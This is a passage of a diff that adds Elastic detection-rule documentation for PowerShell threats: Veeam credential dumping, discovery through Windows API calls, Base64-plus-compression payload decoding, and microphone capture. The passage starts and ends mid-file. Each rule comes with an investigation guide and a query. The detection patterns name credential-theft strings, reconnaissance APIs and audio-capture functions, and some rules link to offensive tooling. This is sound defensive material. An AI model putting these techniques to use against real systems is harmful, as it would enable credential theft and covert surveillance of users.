Retain the full reconstructed script content using `powershell.file.script_block_id` with `powershell.sequence` and `powershell.total`, along with `host.name`, `host.id`, `user.name`, `user.domain`, and `user.id`. + - If `file.path` is present, preserve the referenced script file and any related artifacts in the same directory for forensic review. + +- Assume Veeam-stored credentials may be compromised: + - Rotate credentials that could be accessed via the Veeam configuration database or decrypted via ProtectedStorage routines, and review where they are used across backup jobs and infrastructure integrations. + - Review privileged access to backup systems and database servers for unauthorized use after the alert time. + +- Reduce future exposure: + - Limit access to the Veeam configuration database to approved administrative hosts and accounts, and review permissions related to credential storage. + - Review Veeam administrative role assignments and access paths to ensure least privilege. + +- Validate recovery readiness: + - Review backup job, repository, and retention configurations for unauthorized changes. + - Confirm the availability of recent backups and perform integrity checks consistent with your recovery procedures. + +- Continue monitoring and hunting: + - Monitor for recurrence of the identified script patterns across hosts and users, and investigate any additional related PowerShell activity discovered during scoping. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + ( + "[dbo].[Credentials]" and + ("Veeam" or "VeeamBackup") + ) or + "ProtectedStorage]::GetLocalString" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-discovery-related-windows-api-functions.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-discovery-related-windows-api-functions.asciidoc new file mode 100644 index 0000000000..a327dfc7d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-discovery-related-windows-api-functions.asciidoc @@ -0,0 +1,274 @@ +[[prebuilt-rule-8-19-20-powershell-suspicious-discovery-related-windows-api-functions]] +=== PowerShell Suspicious Discovery Related Windows API Functions + +Detects PowerShell scripts that references native Windows API functions commonly used for discovery of users, groups, shares, sessions, domain trusts, and service security. Attackers use these APIs for situational awareness and targeting prior to lateral movement or collection. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/BC-SECURITY/Empire/blob/9259e5106986847d2bb770c4289c0c0f1adf2344/data/module_source/situational_awareness/network/powerview.ps1#L21413 +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Collection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Suspicious Discovery Related Windows API Functions* + + +This rule flags PowerShell script block content that references Windows API functions commonly used to enumerate users, groups, shares, sessions, domain trusts, and service security. These APIs are frequently accessed via native interop patterns (for example, runtime-compiled type definitions) and can be used to build an inventory of the environment before follow-on activity such as lateral movement or collection. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish context and expected behavior: + - Review `host.name`/`host.id` to understand where the activity occurred and whether the host is expected to perform administrative discovery. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the executing identity aligns with expected administrative or automation activity for that host. + - Use `powershell.file.script_block_length` (when present) as a quick indicator of complexity; unusually large blocks may indicate embedded helper libraries or inline compiled source. + +- Review, reconstruct, and characterize the script content: + - Inspect `powershell.file.script_block_text` and identify which API function name(s) are present and what discovery objective they imply. + - If the script is fragmented, reconstruct it by grouping events on `powershell.file.script_block_id` and ordering by `powershell.sequence` until `powershell.total` is reached. Capture the complete reconstructed content for case notes. + - Look for indicators of native API invocation rather than standard cmdlets, such as embedded type definitions, interop attributes, or inline compiled source. This can increase confidence that the script was designed to directly call Windows APIs. + - Identify additional capabilities in the same script block (or neighboring fragments) that may indicate follow-on behavior, such as credential access, remote execution logic, output staging, or data access from remote resources. + +- Map API functions to likely discovery intent: + - Share and server discovery: `NetShareEnum`, `NetServerGetInfo`, `GetComputerNameEx`. + - User and group discovery: `NetUserEnum`, `NetUserGetInfo`, `NetGroupEnum`, `NetGroupGetInfo`, `NetGroupGetUsers`, `NetLocalGroupEnum`, `NetLocalGroupGetMembers`, `GetUserNameEx`, `NetUserModalsGet`. + - Session and workstation discovery: `NetSessionEnum`, `NetWkstaUserEnum`, `NetWkstaGetInfo`, `NetWkstaTransportEnum`, `WTSEnumerateSessionsEx`, `WTSQuerySessionInformation`, `LsaGetLogonSessionData`. + - Domain trust and site discovery: `DsEnumerateDomainTrusts`, `LsaEnumerateTrustedDomains`, `DsGetSiteName`. + - Service permission discovery: `QueryServiceObjectSecurity`. + - Job discovery: `NetScheduleJobEnum`. + +- Determine discovery scope and targets from the content: + - Extract any referenced hostnames, domain names, share names, or service names directly from `powershell.file.script_block_text` (when present) and record them as potential discovery targets. + - Look for indications of remote enumeration (for example, multiple target strings, iteration constructs, or repeated API calls with varying targets) versus single-host local discovery. + - Prioritize cases that include higher-impact reconnaissance (trust enumeration, session enumeration, logon session data, or service security descriptor queries), especially when the account or host context is unusual. + +- Validate script origin and execution source: + - If file context is present, review `file.path`, `file.directory`, and `file.name` to understand whether the script block originated from an on-disk script and whether that location aligns with approved tooling. + - Treat scripts originating from unexpected or user-writable locations, or scripts with unusual naming, as higher risk and scope for other related activity on the same host and by the same user. + +- Scope for related activity using alert-available pivots: + - Search for other script blocks with the same `powershell.file.script_block_id` to ensure no fragments are missed and to identify repeated execution. + - Search for additional hits of the same `file.path`/`file.name` across hosts to determine whether the script is broadly deployed or opportunistically introduced. + - Identify other occurrences of similar discovery content by pivoting on distinctive substrings within `powershell.file.script_block_text` (such as specific API function names) and the same `user.id` to detect a broader reconnaissance pattern. + +- Correlate with adjacent telemetry (as available in your environment): + - Process context: determine how PowerShell was started and whether the initiation method is consistent with expected activity for `user.name` on `host.name`. + - Authentication and remote access: look for logons or remote session activity involving the same `user.name` around the alert time, especially if the script content suggests remote enumeration of servers or sessions. + - Network and share access: review evidence of access to discovered targets (servers/shares) following the enumeration to identify potential collection from network shares. + - Persistence or privilege escalation follow-on: if service security or job enumeration is present, look for subsequent changes consistent with service or scheduled job manipulation. + + +*False positive analysis* + + +- Benign administrative discovery can occur during routine inventory, troubleshooting, or access validation, especially from dedicated administration hosts and by well-known administrative identities. +- False positives are more likely when the same script content appears regularly, is consistently associated with the same `file.path`/`file.name`, and is executed by expected `user.name` accounts on expected hosts. +- Prioritize as suspicious when the activity is new for the environment, originates from an unexpected script location, is executed by a non-administrative or unusual account, or appears across multiple hosts in a short period. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected malicious: + - Contain the affected host and restrict the involved account to prevent further reconnaissance and follow-on actions. + - Preserve evidence from the alert, including the fully reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, and any extracted target identifiers, along with `host.id` and `user.id` for reliable correlation. + - Scope across the environment for additional executions using pivots on `user.id`, `host.id`, `file.path`/`file.name`, and distinctive content within `powershell.file.script_block_text`. + - Review the enumerated targets (hosts, shares, users/groups, trusts, services, sessions) for unauthorized access attempts and follow-on activity such as network share access, credential misuse, or lateral movement. + +- If the activity is determined to be legitimate but unexpected: + - Identify the script owner and document the business purpose, expected execution scope (hosts/users), and expected cadence. + - Reduce future noise by baselining approved scripts and execution contexts, and ensure logging and monitoring coverage remains sufficient to investigate future occurrences. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + NetShareEnum or + NetWkstaUserEnum or + NetSessionEnum or + NetLocalGroupEnum or + NetLocalGroupGetMembers or + DsGetSiteName or + DsEnumerateDomainTrusts or + WTSEnumerateSessionsEx or + WTSQuerySessionInformation or + LsaGetLogonSessionData or + QueryServiceObjectSecurity or + GetComputerNameEx or + NetWkstaGetInfo or + GetUserNameEx or + NetUserEnum or + NetUserGetInfo or + NetGroupEnum or + NetGroupGetInfo or + NetGroupGetUsers or + NetWkstaTransportEnum or + NetServerGetInfo or + LsaEnumerateTrustedDomains or + NetScheduleJobEnum or + NetUserModalsGet + ) and + not powershell.file.script_block_text : ( + ("DsGetSiteName" and ("DiscoverWindowsComputerProperties.ps1" and "param($SourceType, $SourceId, $ManagedEntityId, $ComputerIdentity)")) or + ("# Copyright: (c) 2018, Ansible Project" and "#Requires -Module Ansible.ModuleUtils.AddType" and "#AnsibleRequires -CSharpUtil Ansible.Basic") or + ("Ansible.Windows.Setup" and "Ansible.Windows.Setup" and "NativeMethods.NetWkstaGetInfo(null, 100, out netBuffer);") + ) and + not file.directory: "C:\Program Files (x86)\Automox\WDK\Win32\WinSession" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Service Discovery +** ID: T1007 +** Reference URL: https://attack.mitre.org/techniques/T1007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Network Share Discovery +** ID: T1135 +** Reference URL: https://attack.mitre.org/techniques/T1135/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Network Shared Drive +** ID: T1039 +** Reference URL: https://attack.mitre.org/techniques/T1039/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-payload-encoded-and-compressed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-payload-encoded-and-compressed.asciidoc new file mode 100644 index 0000000000..fb3d982931 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-payload-encoded-and-compressed.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-20-powershell-suspicious-payload-encoded-and-compressed]] +=== PowerShell Suspicious Payload Encoded and Compressed + +Identifies PowerShell script block content that combines Base64 decoding with .NET decompression (Deflate/GZip). Attackers use this pattern to deobfuscate and reconstruct payloads in memory to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Suspicious Payload Encoded and Compressed* + + +This rule flags PowerShell script blocks that decode Base64 data and decompress it using .NET Deflate or GZip streams. This pattern is frequently used to conceal secondary script content or payloads until runtime. Focus on reconstructing the full script, recovering the decoded content, and identifying any follow-on execution on the host. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish scope and priority using alert context: + - Review `host.name` / `host.id` to identify the affected endpoint and its role (workstation, server, jump host). + - Review `user.name` / `user.domain` / `user.id` to determine whether the account is expected to run PowerShell on this host and whether it is privileged or widely used. + - Check whether this user-host pairing is common or rare in your environment to help prioritize. + +- Identify script provenance and how it was introduced: + - Review `file.path`, `file.directory`, and `file.name` to determine whether the script block was sourced from an on-disk file. + - If `file.path` is present, assess whether the location aligns with normal administrative or automation activity for this host, or whether it appears user-writable, temporary, or otherwise unusual for the account and system role. + - If `file.path` is not present or is not informative, treat the content as potentially interactive or dynamically generated and prioritize reconstructing full script content. + +- Interpret the entropy indicators to guide analysis focus: + - Use `powershell.file.script_block_length` with `powershell.file.script_block_entropy_bits` to understand whether the alert is driven by a large embedded blob versus smaller obfuscation fragments. + - Use `powershell.file.script_block_surprisal_stdev` to distinguish between: + - Uniformly random-looking blocks (often consistent with compressed/encrypted data). + - Mixed content (often consistent with a readable wrapper that transforms and then executes an embedded payload). + - Use `powershell.file.script_block_unique_symbols` to identify whether the content resembles a limited alphabet encoding (for example, Base64-like) versus broader character sets. + +- Review and reconstruct script content before making a determination: + - Review `powershell.file.script_block_text` to identify: + - Large contiguous encoded strings, byte arrays, or character arrays. + - Transform routines (decode, decrypt, decompress) that produce secondary content. + - Secondary execution patterns where transformed content is immediately evaluated or invoked. + - Embedded external references (URLs, domains, IPs) or instructions to write content to disk. + +- Rebuild full content when script blocks are split across events: + - Pivot on `powershell.file.script_block_id` to collect all related fragments. + - Order fragments using `powershell.sequence` and validate completeness using `powershell.total`. + - Perform content review on the reconstructed output, not on individual fragments, to avoid missing loader logic or the embedded payload boundaries. + +- Extract indicators and correlate with adjacent telemetry to confirm impact: + - From `powershell.file.script_block_text` (and any safely decoded or decompressed content), extract indicators such as domains, URLs, IPs, file names/paths, and distinctive strings. + - Correlate on the same `host.id` and approximate timeframe with available endpoint telemetry to identify the PowerShell host process and its launch source (parent process or initiating mechanism). Use that context to assess whether execution is user-initiated, automation-driven, or suspicious. + - Correlate on the same `host.id` and timeframe with available network, file, registry, and authentication telemetry to identify follow-on activity consistent with script execution (downloads, file writes, persistence changes, or unusual sign-ins). + +- Expand scope to detect related activity: + - Search for additional high-entropy script blocks on the same `host.id` and `user.id` before and after the alert. + - Identify other hosts where the same `file.name` / `file.path` appears with similar suspicious content characteristics. + - Look for repeated substrings or structural similarities in `powershell.file.script_block_text` across different alerts to identify shared tooling or campaigns. + + +*False positive analysis* + + +- Benign activity can produce high-entropy script blocks when scripts embed packaged resources or data blobs (for example, installers, large configuration payloads, certificates, or compressed content used by administrative tooling). +- Indicators that support a benign determination: + - Consistent `file.path` / `file.name` associated with a known internal automation package or vendor tool across many hosts. + - Stable and expected `user.name` / `user.id` usage (for example, dedicated automation accounts) with predictable host targeting. + - Repeated, consistent script structure over time where decoding or decompression results in recognizable administrative logic rather than staging or secondary execution. +- If the alert is verified benign: + - Document the owning team/tool, expected hosts, and typical execution cadence. + - Suppress recurring noise by scoping on stable attributes available in the alert (for example, `user.id`, `host.id`, and `file.path`) while preserving visibility for new or unusual sources. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected host to limit further execution and lateral movement. + - Preserve evidence from the alert, including `powershell.file.script_block_text`, reconstructed content (using `powershell.file.script_block_id` / `powershell.sequence` / `powershell.total`), and associated context (`user.*`, `host.*`, `file.*`, and entropy metrics). + - Use extracted indicators from the script content to hunt for related activity across the environment and to identify additional affected hosts or accounts. + - Remediate any identified persistence or staging artifacts associated with the activity and remove malicious content from affected systems. + - If account compromise is suspected, reset credentials for `user.id` / `user.name` and review access paths and recent authentication activity for that account. + +- If benign activity is confirmed: + - Record the business justification and expected behavior for the script source, including the relevant `file.path` (when present) and the associated `user.id`. + - Monitor for deviations from the established benign baseline, such as new script sources, new hosts, or materially different `powershell.file.script_block_text` structure or entropy characteristics. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + +This rule uses the following fields that require the Windows Integration v3.3.0 and up: `powershell.file.script_block_entropy_bits`. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_entropy_bits >= 4.5 and + powershell.file.script_block_text : ( + ( + "System.IO.Compression.DeflateStream" or + "System.IO.Compression.GzipStream" or + "IO.Compression.DeflateStream" or + "IO.Compression.GzipStream" + ) and + FromBase64String + ) and + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compression +** ID: T1027.015 +** Reference URL: https://attack.mitre.org/techniques/T1027/015/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc new file mode 100644 index 0000000000..1f0745a070 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-powershell-suspicious-script-with-audio-capture-capabilities]] +=== PowerShell Suspicious Script with Audio Capture Capabilities + +Detects PowerShell script block content that invokes microphone capture routines or WinMM audio APIs. Adversaries may use audio recording to surveil users or capture sensitive conversations for theft or extortion. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-MicrophoneAudio.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Suspicious Script with Audio Capture Capabilities* + + + +*Possible investigation steps* + + +- Does the preserved script content show live microphone capture logic rather than inert reference text? + - Focus: the preserved script text on the alert and any associated `file.path`. + - Implication: supports concern when the content invokes recording routines, output paths, duration controls, or upload logic; carries less weight when the text is clearly inert example material, documentation, or recognized test content with no adjacent execution evidence. + +- Does reconstructing the full script reveal staging, timers, cleanup, or transfer behavior that changes urgency? + - Why: script block logging can split one script across multiple records; later fragments often reveal save locations, loop logic, or exfiltration. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `powershell.file.script_block_length` to rebuild adjacent fragments, then the reconstructed content for output paths, encoding steps, remote destinations, or cleanup logic. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: supports active collection when reconstruction shows repeated capture loops, hidden staging paths, compression, upload, persistence, or cleanup after collection. + +- Does the user-host pairing fit recognized accessibility testing, media tooling, or security assessment? + - Focus: the `user.id` and `host.id` pairing, whether the host role or asset classification supports microphone access, and any prior alert recurrence from this rule for the same pairing and launcher. + - Implication: escalate when the user has no recurring pattern of audio access, the host handles privileged or sensitive workflows, or the timing falls outside scheduled testing. + +- Can you recover the PowerShell process and explain how it was launched? + - Focus: the matching process start event via `process.pid` and `host.id`, recovering `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the process event cannot be found, keep later file and network review bounded to the same host and alert time rather than assuming a wider process scope. + - Implication: supports concern when the recovered process is launched by a document, browser, chat client, scheduled task, remote session, or user-writable script path. + +- Do file events from the same process show recorded audio or staging artifacts? + - Focus: file events for the same `process.entity_id`, with attention to `file.path`, `file.extension`, `file.Ext.header_bytes`, and `file.Ext.original.path` when media files or archives are renamed for staging. + - Implication: supports active collection when media files, deceptive extensions, archives, or renamed payloads appear in user-writable or hidden paths, or when written artifacts are later executed or uploaded. + +- Do network events show outbound transfer or second-stage behavior from the same process? + - Focus: network events for the same `process.entity_id`, separating `dns.question.name` / `dns.resolved_ip` from `destination.ip` / `destination.port`. + - Implication: suggests follow-on transfer when the same process or host reaches rare public destinations, cloud storage, or messaging services. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, do related alerts or repeated script-block activity suggest broader compromise? + - Focus: related alerts for the same `user.id` to find repeated collection, execution, or defense-evasion activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for the same `host.id` and repeated preserved script substrings on this asset to look for persistence, repeated collection, follow-on staging, or renamed audio-capture variants. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: suggests broader compromise when either view shows collection, execution, defense-evasion, persistence, or transfer activity; stays localized when alerts are confined to the known script and host with no repeated collection or follow-on staging. + +- Escalate when script intent, launch context, artifacts, or network activity align on active collection; close only when all evidence supports a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Accessibility, QA, or red-team activity can legitimately trigger this rule. Confirm that the script content, writer identity, and host all belong to an authorized workflow. +- Before creating an exception, validate that the same `user.id`, `host.id`, `file.path`, and a stable `powershell.file.script_block_text` substring recur across prior alerts. Avoid exceptions on audio API strings alone, `user.name` alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the script content, recovered launch chain, user-host scope, and any benign file or destination pattern that proved the confirmed workflow. Create an exception only if the same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the reconstructed script content, recovered `process.entity_id`, related `file.path` artifacts, and any `dns.question.name` or `destination.ip` values linked to transfer. Apply reversible containment such as temporary destination blocking or session restrictions. Escalate to host isolation only when active collection or transfer evidence is strong and the host role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.parent.executable`, written `file.path` artifacts, and any confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Use available endpoint response integrations to isolate the host (preferred over process termination for initial containment when the asset can tolerate it), then block confirmed malicious destinations and scripts. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. If the captured audio may have exposed sensitive conversations or privileged sessions, initiate access review for the affected accounts. +- If recorded audio files or staging archives are identified, preserve them according to privacy and evidence-handling requirements. Review related users and hosts for the same `powershell.file.script_block_text` content, `file.path` pattern, or `dns.question.name` destinations before eradicating. Then remove the artifacts and any persistence or automation identified during reconstruction or host-scoping. +- After containment, restrict the execution path that allowed the script to run, such as tightening PowerShell execution policies or script-path allowlists. Retain PowerShell script block logging and related endpoint telemetry. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "Get-MicrophoneAudio" or + ("Get-AudioDevice" and "Recording" and "Set-AudioDevice") or + "WindowsAudioDevice-Powershell-Cmdlet" or + ( + "winmm.dll" and + ( + "waveInGetNumDevs" or "waveInOpen" or "waveInStart" or + "mciSendString" or "mciSendStringA" or "mciSendStringW" + ) + ) + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Audio Capture +** ID: T1123 +** Reference URL: https://attack.mitre.org/techniques/T1123/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** 